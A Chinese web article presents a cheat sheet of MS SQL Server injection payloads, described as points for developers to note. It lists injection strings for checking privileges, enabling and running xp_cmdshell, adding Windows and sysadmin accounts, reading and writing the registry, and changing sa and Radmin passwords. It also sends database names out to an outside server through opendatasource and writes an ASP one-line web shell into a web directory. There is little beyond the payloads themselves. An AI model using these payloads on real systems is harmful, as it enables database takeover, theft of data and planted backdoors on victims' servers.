欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

web 页面 一些sql注入语句小结

程序员文章站 2022-07-03 10:13:40
web 页面 一些sql注入语句小结,对于开发人员来说一定要注意的事项。... 12-03-12...
选中 操作页面 提交数据 ip/日期 方式
/zz_article/articleshow.asp articleid=297 and cast(is_member(0x640062005f006f0077006e0065007200) as varchar(1))+char(124)=1 124.237.26.212
2007-11-14 sql注入(get)
/product/productshow.asp productid=74 and cast(is_member(0x640062005f006f0077006e0065007200) as varchar(1))+char(124)=1 124.237.26.212
2007-11-14 sql注入(get)
/product/productshow.asp productid=90 and cast(is_member(0x640062005f006f0077006e0065007200) as varchar(1))+char(124)=1 124.237.26.212
2007-11-14 sql注入(get)

//看看是什么权限的
and 1=(select is_member('db_owner'))
and char(124)%2bcast(is_member('db_owner') as varchar(1))%2bchar(124)=1 ;--

//检测是否有读取某数据库的权限
and 1= (select has_dbaccess('master'))
and char(124)%2bcast(has_dbaccess('master') as varchar(1))%2bchar(124)=1 --


数字类型
and char(124)%2buser%2bchar(124)=0

字符类型
' and char(124)%2buser%2bchar(124)=0 and ''='

搜索类型
' and char(124)%2buser%2bchar(124)=0 and '%'='

爆用户名
and user>0
' and user>0 and ''='

检测是否为sa权限
and 1=(select is_srvrolemember('sysadmin'));--
and char(124)%2bcast(is_srvrolemember(0x730079007300610064006d0069006e00) as varchar(1))%2bchar(124)=1 --

检测是不是mssql数据库
and exists (select * from sysobjects);--

检测是否支持多行
;declare @d int;--

恢复 xp_cmdshell
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--


select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')

//-----------------------
// 执行命令
//-----------------------
首先开启沙盘模式:
exec master..xp_regwrite 'hkey_local_machine','software\microsoft\jet\4.0\engines','sandboxmode','reg_dword',1

然后利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')

执行命令
;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null, 'c:\winnt\system32\cmd.exe /c net user paf pafpaf /add';--

exec [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'

判断xp_cmdshell扩展存储过程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')

写注册表
exec master..xp_regwrite 'hkey_local_machine','software\microsoft\jet\4.0\engines','sandboxmode','reg_dword',1

reg_sz

读注册表
exec master..xp_regread 'hkey_local_machine','software\microsoft\windows nt\currentversion\winlogon','userinit'

读取目录内容
exec master..xp_dirtree 'c:\winnt\system32\',1,1


数据库备份
backup database pubs to disk = 'c:\123.bak'

//爆出长度
and (select char(124)%2bcast(count(1) as varchar(8000))%2bchar(124) from d99_tmp)=0 ;--



更改sa口令方法:用sql综合利用工具连接后,执行命令:
exec sp_password null,'新密码','sa'

添加和删除一个sa权限的用户test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin

删除扩展存储过过程xp_cmdshell的语句:
exec sp_dropextendedproc 'xp_cmdshell'

添加扩展存储过过程
exec [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
grant exec on xp_proxiedadata to public


停掉或激活某个服务。

exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'

dbo.xp_subdirs

只列某个目录下的子目录。
xp_getfiledetails 'c:\inetpub\wwwroot\sqlinject\login.asp'

dbo.xp_makecab

将目标多个档案压缩到某个目标档案之内。
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。

dbo.xp_makecab
'c:\test.cab','mszip',1,
'c:\inetpub\wwwroot\sqlinject\login.asp',
'c:\inetpub\wwwroot\sqlinject\securelogin.asp'

xp_terminate_process

停掉某个执行中的程序,但赋予的参数是 process id。
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 process id

xp_terminate_process 2484

xp_unpackcab

解开压缩档。

xp_unpackcab 'c:\test.cab','c:\temp',1


某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 exec master.dbo.xp_regwrite 'hkey_local_machine','system\radmin\v2.0\server\parameters','parameter','reg_binary',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 exec master.dbo.xp_regwrite 'hkey_local_machine','system\radmin\v2.0\server\parameters','port','reg_binary',0xd20400 则端口值改为1234

create database lcx;
create table ku(name nvarchar(256) null);
create table biao(id int null,name nvarchar(256) null);

//得到数据库名
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases


//在master中创建表,看看权限怎样
create table master..d_test(id nvarchar(4000) null,data nvarchar(4000) null);--

用 sp_makewebtask直接在web目录里写入一句话马:
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--

//更新表内容
update films set kind = 'dramatic' where id = 123

//删除内容
delete from table_name where stockid = 3